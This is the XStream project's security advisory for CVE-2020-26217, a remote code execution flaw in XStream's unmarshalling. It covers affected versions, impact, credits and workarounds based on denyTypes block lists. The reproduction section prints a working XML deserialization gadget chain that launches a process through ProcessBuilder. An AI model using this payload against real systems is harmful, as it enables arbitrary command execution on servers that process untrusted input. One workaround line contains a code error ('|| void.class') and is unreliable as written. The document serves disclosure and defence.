<html>
<!--
Copyright (C) 2020 XStream committers.
All rights reserved.
The software in this package is published under the terms of the BSD
style license a copy of which has been included with this distribution in
the LICENSE.txt file.
Created on 25. September 2020 by Joerg Schaible
-->
<head>
<title>CVE-2020-26217</title>
</head>
<body>
<h2 id="vulnerability">Vulnerability</h2>
<p>CVE-2020-26217: XStream can be used for Remote Code Execution.</p>
<h2 id="affected_versions">Affected Versions</h2>
<p>All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
framework</a> with a whitelist.</p>
<h2 id="description">Description</h2>
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that can execute arbitrary shell commands.</p>
<p>This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime
environment, none of which is part of the XStream default blacklist. The same issue has already been reported for
Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.</p>
<h2 id="reproduction">Steps to Reproduce</h2>
<p>Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:</p>
<div class="Source XML"><pre><map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>
<p>As soon as the XML gets unmarshalled, the payload gets executed.</p>
<p>In a similar, but simpler scenario the <em>javax.imageio.ImageIO.ContainsFilter</em> is injected into an
<em>java.util.Iterator</em> instance and the payload is executed as soon as the iterator's <em>next</em> method is
called.</p>
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed
input stream.</p>
<h2 id="workaround">Workaround</h2>
<p>As recommended, use XStream's security framework to implement a whitelist for the allowed types.</p>
<p>Users of XStream 1.4.13 who want to use XStream default blacklist can simply add two lines to XStream's setup code:</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
</pre></div>
<p>Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from
scratch and deny at least the following types: <em>javax.imageio.ImageIO$ContainsFilter</em>,
<em>java.beans.EventHandler</em>, <em>java.lang.ProcessBuilder</em>, <em>java.lang.Void</em> and <em>void</em>.</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
</pre></div>
<p>Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently
know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:</p>
<div class="Source Java"><pre>xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || Proxy.isProxy(type));
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
</pre></div>
<h2 id="credits">Credits</h2>
<p>Chen L found and reported the issue to XStream and provided the required information to reproduce it. He was
supported by Zhihong Tian and Hui Lu, both from Guangzhou University.</p>
</body>
</html>